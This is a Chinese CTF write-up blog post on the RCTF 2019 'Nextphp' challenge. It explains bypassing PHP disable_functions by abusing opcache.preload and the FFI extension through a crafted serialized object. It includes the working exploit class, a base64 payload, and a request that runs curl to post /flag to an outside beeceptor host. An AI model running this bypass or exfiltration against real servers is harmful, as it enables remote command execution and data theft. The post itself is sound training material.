刷题笔记:[RCTF 2019]Nextphp


前言

关键字:[绕过disable_function|FFI]

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

题解

上来一个马,把我整慌了。

连接蚁剑返回空值,看来没那么简单

看看禁用函数

限制了open_basedir


FFI开启

怪,蚁剑直接连接连不上,重新写了个马倒是可以。

里面有个preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

这个preload文件就是拿来绕过disable_function的,主要是利用opcache.preload

opcache.preloadPHP7.4 中新加入的功能。如果设置了opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的preload文件加载进内存中,使这些preload文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload

最后有一段话

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

允许在preload文件中使用FFI拓展,但FFI是一个危险的拓展

这题开了FFI,所以可以利用PHP RFC: FFI - Foreign Function Interface

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

payload为

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        echo "__construct<br>";
    }
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

这里的exp代码中删除了原有的__serialize__unserialize两个函数,这是因为在反序列化时会触发__unserialize函数,这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization

payload:

思路就是反序列化的时候会调用__unserialize,然后执行run()函数,就构造出了

$data['ret']=FFI::cdef(int system(char *command);)

这就和RFC的POC如出一辙了,使得$data['ret']->system();可以绕过限制执行系统命令。

?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令);
?a=unserialize(base64_decode(QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319))->__serialize()['ret']->system("curl -d @/flag https://asd5f4asd.free.beeceptor.com");

也因为这题,蚁剑出了个FFI一键利用插件,蚁剑nb!

参考链接

RCTF2019Web题解之nextphp


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录